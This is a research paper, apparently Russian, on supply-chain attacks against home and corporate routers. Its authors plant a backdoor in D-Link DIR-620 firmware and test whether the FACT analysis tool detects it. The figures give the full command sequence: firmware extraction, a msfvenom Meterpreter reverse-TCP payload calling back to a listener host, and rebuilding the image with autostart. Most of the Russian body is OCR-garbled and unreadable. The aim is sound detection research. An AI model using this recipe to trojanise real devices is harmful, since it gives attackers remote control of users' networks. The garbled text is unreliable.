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AnHoranusi. OMHON U3 BaXXHBIX 33/1a4 B oOecrnieueHnr HHGHOPMAITMOHHON 0€30MacHOCTH KOpIiopa-
TUBHOM M JIOMAIIIHEW ceTu sBNsieTcs oOecreyeHne 0€30MacHOCTH U IEIOCTHOCTH JAHHBIX B CETH.
PasButne ceteBoit HHGPACTPYKTYPHI HEN30EKHO CBA3aHO C BOBHUKHOBEHHEM PHCKOB HMH(OpMAaIu-
OHHOI 0€30MacCHOCTH, CBSI3aHHBIX C CETEBBIM 000pyaoBaHueM. OTHON U3 CIOKHEHIIINX 3a71a4 aJIMHU-
HUCTPUPOBAHHS KPYITHBIX KOPIOPATUBHBIX CETEH SBISIETCS OTCIICKUBAHUE W KOHTPOJIb BEPCHil ce-
TEBOTO 00OPYIOBaHUS ISl YCTAHOBKH aKTyalbHBIX OOHOBJICHH, eciiu oHU uMeroTcs. Kubeprpymn-
MTUPOBKHU BCE aKTHBHEE HMCIIONIL3YIOT aTak/ Ha IEMOYKH ocTaBKu. [loanenbiBast TaHHBIE TPOTpaMM-
HOT0 00€cTIeYeHHs UIH BHEPSIS B HETO MPOTPAMMHBIE 3aKJIa/IKH, 37TI0YMBIIUICHHUKH JOBOJST JI0 KO-
HEYHOTO TOJIB30BATENsl ysI3BUMOE YCTpoicTB. [loib30BaTeNb K€ HUYEro He T0J03PEBACT, IMOIydast
YCTPOMCTBA WM OOHOBJICHUS U3 JISTHTUMHBIX UCTOYHUKOB. [103TOMY HEOOX0IMMO BBITIOIHATH CKa-
HUPOBaHHE MIPOTPAMMHOTO 00ECTIeUeHUs] pOYTEPOB Ha MPEAMET MPOTPAMMHBIX 3aKJIAJIOK.

KiroueBble cioBa: HOEJIOCTHOCTE JAaHHBIX, MPOIrpaMMHOC O6€CH€‘I€HI/IC, aTaKM Ha LOCIIOYKHU II0-
CTaBKU, IPOTPaMMHBIC 3aKJIaJIKA
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Abstract. One of the important tasks in ensuring the information security of corporate and home
networks is to ensure the security and integrity of data in the network. The development of network
infrastructure is inevitably associated with the emergence of information security risks associated
with network equipment. One of the most difficult tasks of the administration of large corporate net-
works is tracking and version control of network equipment to install up-to-date updates, if any. Cyber
groups are increasingly using attacks on supply chains. By faking software data or introducing soft-
ware bookmarks into it, attackers bring vulnerable devices to the end user. The user does not suspect
anything, receiving devices or updates from legitimate sources.
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Beeoenue

PacnipocTpanenue ceTeBbIX YCTPOMCTB B JOMAIIHUX U KOPIIOPATUBHBIX CETAX I0-
BJIEKJIO 3a COOOW TOBBIIIEHUS HWHTEpeca 3JIOYMBIIUICHHUKOB K JAaHHOMY BUIY
YCTPOMCTB U atak Ha HUX [1, 2]. U ecnu moiabp30BaTenu 3a4acTylo BHIOUPAIOT yCTPOM-
CTBO IO KPaCHBOM KOPOOKE, HE IPOBEPSIS MPUCYTCTBYIOT JIM B HEM KaKOro-JIn0o poaa
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YSI3BUMOCTH, TO OM3HEC MOKET IMPOCTO HE YCIEAUTh 32 BCEM UMEBIIMMCS 000py10Ba-
HUE B BUY pacIlIMpEeHUs] MOIIHOCTEH. BeH0pHI ke TaHHOTO 000PYJOBaHUS 3a4aCTYIO
HE CTPaBJATHCA C HOBBIMU BBI30BaMH, KOTOPBIE CTaBAT MEPE]l HUMH 3JI0YMBIIIECH-
HUKH. YCTpOMCTBAa HA MOMEHT BBIXOJIa YK€ UMEIOT BCTPOEHHBIE YSI3BUMOCTH, KOTO-
pbI€ 3JI0YMBIIIJICHHUKAM JIMIIb HYKHO OOHApPYKUTh. A €CJIM TOBOPUTH HE O HOBBIX
YCTPOMCTBAX, TO JaHHBIE YA3BUMOCTH UMEIOT U MyOIUYHbIE pab0UYne SKCIIIIOUTHI.

Jlannyto npo0seMy MOrJio Obl PEIIUTh PETYJSIPHOE OOHOBJIEHHE TPOrPAMMHOTO
oOecreyeHus: Uiau MUKPOIPOrpaMMbl YCTPONUCTB, HO 3a4acCTyI0 B KU3HEHHOM LIUKIIE
TaKHX YCTPOMCTB TaKue€ COOBITHUS CIIy4aThCs JIMUIb U3PEAKA. DTUM U MOJIb3YIOTCS 3J10-
YMBIIUICHHUKH.

K nanabIM npobiieMaM mocliefHuEe HECKOJIBKO JIET 100aBIsAThCsA U HOBBIE. B mo-
CJIEAHUE HECKOJIBKO JIET 3JI0YMBINUIEHHUKH BBITIOJHSAIOT aTaKu HA IIEMOYKY MTOCTaBOK
[3]. JaHHbIi BUA aTaku HaleleH Ha pa3paOOTYUKOB MPOrPAaMMHOTO OOecriedeHus: u
NOCTABIIMKOB. VIX OCHOBHAs LI€JIb — 3TO MOJIYYUTH JOCTYH K UCXOJHBIM KOJaM, Ipo-
reccaMm COOpPKU WJIM MEXaHHW3MaM OOHOBJIEHMSI ITyTEM 3apa)KeHHsI JOMyCTUMBIX MPH-
JIOKEHUW NIl paclpOCTPaHEHUsl BPEIOHOCHBIX mporpamm [4]. Tem cambiM ycTpoi-
CTBO IIOCTYIIAET BJIAJIEbIy OT JISTUTUMHOTO HICTOYHHKA, HO C U3MEHEHHBIM UCXOHBIM
KOJIOM.

B pamkax ctaTeu OyAeT MCCIEI0BAaHO CTaHJAPTHOE MPOrPaMMHOE OOecrieueHne
poyTepa ¢ BHEAPEHHOW NPOrpaMMHOM 3aKJIaaKou [S].

[{enbto cTaTbu SIBASETCS BBISIBICHUE BO3MOXKHBIX YA3BUMOCTEH B IPOrPAMMHOM
oOecrieueHunu, 1 MONbITKa 0OHAPYKUThH MPOTPAMMHYIO0 3aKJIa/IKy B CTAHAAPTHOM CeTe-
BOM 000pyA0BaHUU [6].

Memoouka uccireoosanus

JInst nocTHKEeHUsl MOCTaBICHHOM 11eJId HeOOXOAMMO NMPOM3BECTH aHAIIU3 TPO-
IPaMMHOTO O0ECTICUeHHsI pOyTepa M BBIABUTH BCE BO3MOXKHBIC YSI3BUMOCTH, B TOM
qucie MporpaMMHBIe 3aKiaanku. s qanHoM 3agaum Oynet ucnonb3oBad «The Firm-
ware Analysis and Comparison Tool». /[aHHBIII HHCTPYMEHT C OTKPBITBIM UCXOIHBIM
KOJIOM TpeHa3HaueH JJI1 aBTOMAaTH3allMu OOJIbIIEeH YacTH Ipolecca aHalnu3a BCTPO-
€HHOI0 IporpaMMHOro ooecnedenus. OH pacrnakoBbIBAET BHyTpeHHUE (hailibl Mpo-
IrpaMMHOT0 OOeCTIeueHUs U BBITIONHACT aHaIn3 (paisioB.

[Tocne ycTaHOBKHM BCEX 3aBUCHMOCTEH, KOTOpPbIE MMEIOTCS y JAHHOTO UHCTPY-
MeHTa, U 3anycka «The Firmware Analysis and Comparison Tool» npeacrasisiet co-
001 BeO-MIPHIIIOKEHNE C BOZMOXKHOCTBIO 3arpy3KH ImporpaMMHoro obecneuyenus. [o-
MHUMO 3arpy3KH TaK:Ke€ UMETHCSI CITUCOK BCEX BBIMIOJHEHHBIX 3arpy30K U IPOBUHY ThIH
MIOKCK TI0 3arpy>KeHHBIM (paiiam.

B kadecTBe ysa3BUMOT0 MpOrpaMMHOT0 obecreueHus 0bu1 BeiOpad poytep D-Link
DIR-620. Bepcust nporpammuoro odecrneuerusi DIR-620-1.3.0.bin Gputa n3MeHeHa
JUIsl BHEJIPEHUSI B HEE TPOTPaMMHOM 3aKiIaiku [7].

B kauecTBe mporpaMmMHO# 3aKIaaKy ObLT CTEHEPUPOBAH UCTIOHIAEMbIN haiii -
HYKC, KOTOPBI HHUITHAIU3UPYET MOAKIIOUEHUE K yAalIeHHOMY ip-anapecy. [Iporpamm-
HOe obecrieueHne poyrepa ObUI0 JEKOMIMIUPOBAHO [Tl BHEAPEHUS B HETO MPOTPaMM-
HOM 3aKJIaJIK1, TIOCTIE Yero CHOBa cOOpaHo.
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Pesynomamot

OCHOBHBIM CITOCOOOM BBISIBIICHUS YSA3BUMOCTEH MPOTPAMMHOTO O0CCTICUECHHS SIB-
JSeTCsl cTaTudecknit aHanu3. B manHoM criocobe Bce (ailyibl mporpaMMHOTO o0ectie-
YeHUST aHATTM3UPYIOTCS TI0 OYePEr, 1 Ha OCHOBE HaJICHHOW MH(MOPMAIINH JETaeTCs
BBIBOJI O HAJIMYMHU TOW WJIM WHOH YS3BUMOCTH. VIMesl cUTHATypbl YSI3BUMOTO KOJa,
MO’KHO C JIOCTaTOYHO OOJIBIIION TOYHOCTHIO BBISIBIISTH YSI3BUMOCTH B KOJIE TIPOTPAMM-
HOTO 0OeCIeUeHus.

J1st naHHOM PabOTHI TIO BEISBIICHUIO YSI3BUMOCTEH M IMTPOTPaAaMMHBIX 3aKJIaI0K Oy-
neT BeiOpana npoimmBka poyrepa D-LINK DIR-620 [8]. B nanHo# npommBKe NpUcyT-
CTBYIOT MHO>XECTBEHHBIC YS3BUMOCTH. JlaHHAasi MpOIIMBKAa CBOOOJIHO PACIIPOCTPAHSI-
€TCSl U €€ MOXKHO MOJYYUTh C CaliTa IPOU3BOIUTEIIS.

JIist BHEIpEeHUsT TPOTrpaMMHOM 3aKJIaIkKu HEOOXOAMMO HM3BII€Yb MCXOJHBIN KO/
IPOrpaMMHOTO OOECTIEUeHUsT M BHEJIPUTh B HEr0 KOJ MPOrPaMMHON 3aKIJIaJIKH

(puc. 1).

S ./extract-firmware.sh ../DIR_628_1.3.0.bin
Firmware Mod LLt (extract) .99, (c)2011-2013 Craig Heffner, Jeremy Collake

Scanning firmware...

Scan Time: 2023-05-04 11:32:11

Target File: /home fubuntu/Diplom/DIR_620_1.3.0.bin
MD5 Checksum: 43fd5794blaa97968a42bdccfbasabel
Signatures: 344

HEXADECIMAL DESCRIPTION

uImage header, header size: 64 bytes, header CRC: 0x47252455, created: 2011-12-07 13:33:45, image size: 90
oint: Ox8027F000, data CRC: OX79AC8763, 0 nux, CPU: MIPS, image type: 0S5 Kernel Image, compression type: lzma, image name: "DIR_6208"
64 0x40 LZMA compressed data, properties: 8x5D, dictionary size: 8388608 bytes, uncompressed size: 2727584 bytes
983040 0xFOO00 Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 3564733 bytes, 883 inodes,
3:33:41

Extracting 983040 bytes of uimage header image at offset @

Extracting squashfs file system at offset 983048

4587520

4587520

]

Extracting squashfs files...

Firmware extraction successful!

Firmware parts can be found in '/home/ubuntu/Diplom/firmware-mod-kit/fmk/*'

Puc. 1. 3Bneuenue HNCXOJHOTO KOJa IIPpOrpaMMHOIO oOecneueHus

Taxoke 1715t reHepanuu nNporpaMMHOMN 3aKJIa K HE0OX0IMMO 3HATh THIT apXHUTEK-
TYpbI IPOTPAMMHOTO oOecriedeHus (puc. 2).

$ file bin/busybox

bin/busybox: setutd ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, stripped

Puc. 2. Tum apxuTeKkTypbl yCTpONCTBA

N3 3TOro cTaHOBUTHCS U3BECTHO, UTO MPOTrpaMMHasi 3aKiiajKa J0HKHA paboTaTh
¢ apxutektypoir MIPS. JIns renepanuu nporpaMMHON 3akIagKu ObUT UCIIOIb30BaH
msfvenom (puc. 3). C nomouipto msfvenom ObIT cO31aH UCHOJHAEMBIA (aiina
backdoor B karasiore poytepa rootfs/usr/bin/.

[Tocne nepemenieHus TaHHOTO YKCIJIONTA B KOJ| MPOIIMBKU U YCTaHOBKH aBTO3a-
MyCKa MPOIITUBKA MOXKET OBITh 0OpaTHO CKOMITHJIMPOBaHa (puc. 4).
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L¢ msfvenor llnuxxmlpsbe;metelpleteI;Ievelse tcp LHOST=10.0.0.8 LPORT=4444 - elf backdoor
[-1 No platFOIm was selected, choosing Msf ::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: mipsbe from the payload

No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of elf file: 356 bytes

Puc. 3. I'eneparusi mporpaMMHO 3aKIaIKu

.fbuild-firmware.sh fmk -nopad -min
Firmware Mod hlt (build) .99, (c)2011- 2013 Craig Heffner, Jeremy Collake

Building new squashfs file system... (this may take several minutes!)
Squashfs block size is 64 Kb
Parallel mksquashfs: Using 2 processors
little endian 3.1 filesystem on fhome/ubuntu/Diplom/firmware-mod-kit/fmk/new-filesystem.squashfs, block size 65536.

, data block size 65536, compressed , compressed metadata, compressed fragments, duplicaf]

lzmadic 65536
Filesystem size 3481.49 Kbytes (3.40 Mbytes)

28.91% of uncompressed filesystem size (12043.69 Kbytes)
Inode table size 6516 bytes (6.36 Kbytes)

24.27% of uncompressed inode table size (26845 bytes)
Directory table size 7232 bytes (7.06 Kbytes)

54.83% of uncompressed directory table size (13196 bytes)
Number of duplicate files found 18

Number of inodes 887

Number of files 587
Number of fragments 47
Number of symbolic links 121
Number of device nodes 133
Number of fifo nodes ©
Number of socket nodes @
Number of directories 46
Number of uids 1
root (@)
Number of gids @
Padding of firmware image disabled via -nopad
Processing 1 header(s) from /home/ubuntu/Diplom/firmware-mod-kit/fmk/new-firmware.bin...
Processing header at offset 08...checksum(s) updated OK.
CRC(s) updated successfully.

Finished!
New firmware image has been saved to: /home/ubuntu/Diplom/firmware-mod-kit/fmk/new-firmware.bin

Puc. 4. COopka nponmMBKY ¢ yCTaHOBJIEHHOW MPOTPAMMHOM 3aKJIaIKOM

OTuMH IeUCTBUSIMU OyJET SMYJIUpPOBaHa MPOIIMBKA C MPOTPaAMMHBIMU 3aKJIa/l-
HBIMH YCTPOMCTBaMH, KOTOpasi MOXKET MPUCYTCTBOBATh B KAKOM-JIMOO MapuIpyTu3a-
TOpPE B CETU JJOMA WJIM OpTraHU3AIIMH.

[Tocnie moAroTOBKH YA3BUMOTO IPOTPAaMMHOTO 00€CTIeUeHUS MOKHO TIEPEXOAHUTh
K 9Tany ckanupoBanus. [lomyuenHas npommBka Obliia 3arpy’kKeHa ¥ MPOCKaHUPOBaHA
uHctpyMeHtoM «The Firmware Analysis and Comparison Tool». B pesynbrate pa-
OOTHI SBJISETCS OTUET MO PA3HBIM MOAYJISIM PabOThI HHCTPpyMEHTA (puc. 5).

OnHako HECMOTPS HA TO, YTO HAMICHHBIC YSI3BUMOCTH SIBIISIOTCS] KPUTUYECKUMH,
nporpaMMHasi 3akjajaka He Obuia oOHapyXKeHa MHCTPyMEHTOM. TakuMm oOpa3oM JaH-
HBI MHCTPYMEHT JIOJDKEH OBITh CYIIECTBEHHO MOJICPHU3UPOBAH U IOTIOJIHEH MOTYJIEM
MTOWCKA TIPOTPAMMHBIX 3aKJIaJIOK.
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BusyBox 1.19.2
(CRITICAL)

router router - dir 620 test 2 backdoor (router) | /903533 _unknown.hin | /13693.squashfs | /bin/busybox
Size: 472.65 KiB , Type: application/x-executable

Dnsmasq 2.55

router router - dir 620 test 2 backdoor (router) | /903533 _unknown.hin | /13693.squashfs | fusr/shin/dnsmasq
(CRITICAL)

Size: 183.15 KiB , Type: application/x-executable

GNU Zebra 0.95a router router - dir 620 test 2 backdoor (router) | /903533 _unknown.hin | /13693.squashfs | fusrfshin/ripd

Size: 392.68 KiB , Type: application/x-executable

Linux Kernel

router router - dir 620 test 2 backdoor (router) | /Juboot.lzma | /luboot.lzma~
2.6.21 (CRITICAL)

Size: 2.60 MiB , Type: application/octet-stream

Point-to-Point
Protocol daemon

router router - dir 620 test 2 backdoor (router) | /903533 _unknown.hin | /13693.squashfs | /shin/pppd
Size: 615.08 KiB , Type: application/x-executable

(CRITICAL)

B‘;“‘?If:;c’[lm for router router - dir 620 test 2 backdoor (router) | /903533_unknown.bin | /13693.squashfs | /lib/libupnp.so
nP 1.3.

(CRITICAL) Size: 245.93 KiB , Type: application/x-sharedlib

Pure-FTPd 1.0.34 router router - dir 620 test 2 backdoor (router) | /903533 _unknown.bin | /13693.squashfs | fusrishin/pure-ftpd

Size: 99.40 KiB , Type: application/x-executable

Puc. 5. OGHapyxeHHbIE YSI3BUMOCTH

3aknwouenue

Takum 00pa3oM MOKHO cJieJaTh BBIBOJ, YTO C IOMCKOM U3BECTHBIX YS3BUMOCTEM
IPOrpaMMHBIE IPOAYKTHI CIIPABIISITHCS TOCTATOYHO XOPOILIO, OAHAKO JUIs 00JIee CII0XK-
HBIX aTaK OHU €Ill€ HE TOTOBHI.

Jlannyto npo0aeMy MOKHO PEUIUTh PYYHBIM HUJIU TOBEACHYECKUM aHAJIM30M MPO-
IIMBKH, HO TOTJA MOCTPaJlaeT CKOPOCTh U aBToMaTu3anus npouecca [9]. Takxke gan-
HBIE JIBa CI10CO0A 3aHMMAIOT JOCTATOYHO MHOT'O BPEMEHHU U CIIEUATIUCTA.

B nanusiii MomMeHT BeieTcs pa3paboTka MHCTPYMEHTA IO aBTOMATU3HUPOBAHHOMY
CKaHMPOBAHUIO TIPOTPAMMHOTO 00ecIieueHusl poyTepa, KOTOPhIN MO3BOJIUT B aBTOMa-
TUYECKOM PEKUME OOHAPYKUBATH MTPOTPAMMHBIE 3aKIIAKU.
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